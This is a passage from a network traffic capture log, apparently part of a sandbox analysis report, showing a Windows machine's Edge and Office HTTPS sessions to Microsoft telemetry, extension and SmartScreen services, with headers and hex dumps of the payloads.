2024-10-27 16:54:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49872	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:35 UTC	556	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:35 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 1fa8ccbb-501e-0019-2a90-28446f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165435Z-16849878b787bfsh7zgp804my400000002ng000000005w3y Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	15828	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db Data Ascii: e\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 Data Ascii: _CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[
2024-10-27 16:54:35 UTC	5227	IN	Data Raw: 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49873	152.195.19.97	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:35 UTC	624	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730652870&P2=404&P3=2&P4=i5P1P8K%2fznTPyET16Qi1ZI0yg5QDknaMoJ4bXLB8YMUxpZS0t5Ao%2bo0urKnDn%2fUtHY5k7%2biTGSI%2bChftur%2fSHA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: hdFnogcCB6stPkb8uXJxeS Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:35 UTC	632	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 9974606 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Sun, 27 Oct 2024 16:54:35 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-10-27 16:54:35 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:35 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165435Z-16849878b78z2wx67pvzz63kdg00000002dg000000009s7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:35 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:35 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd6db9b0-d01e-002b-01ae-2425fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165435Z-15b8d89586ffsjj9qb0gmb1stn00000008100000000038nm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:35 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:35 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165435Z-16849878b78p49s6zkwt11bbkn00000003bg00000000kmcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:35 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:35 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: dd040750-801e-0083-62fe-25f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165435Z-r197bdfb6b4zd9tpkpdngrtchw000000030000000000bftp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:35 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:36 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:35 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 6129b0de-c01e-00a1-59fb-247e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165435Z-15b8d89586fqj7k5h9gbd8vs980000000520000000000tuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:36 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49879	20.25.227.174	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:36 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoib3lBRXNQZ0JuS3QvLzA4OTZHMU5EUT09IiwgImhhc2giOiJnZ2ppZWhYYUFmcz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-27 16:54:36 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: 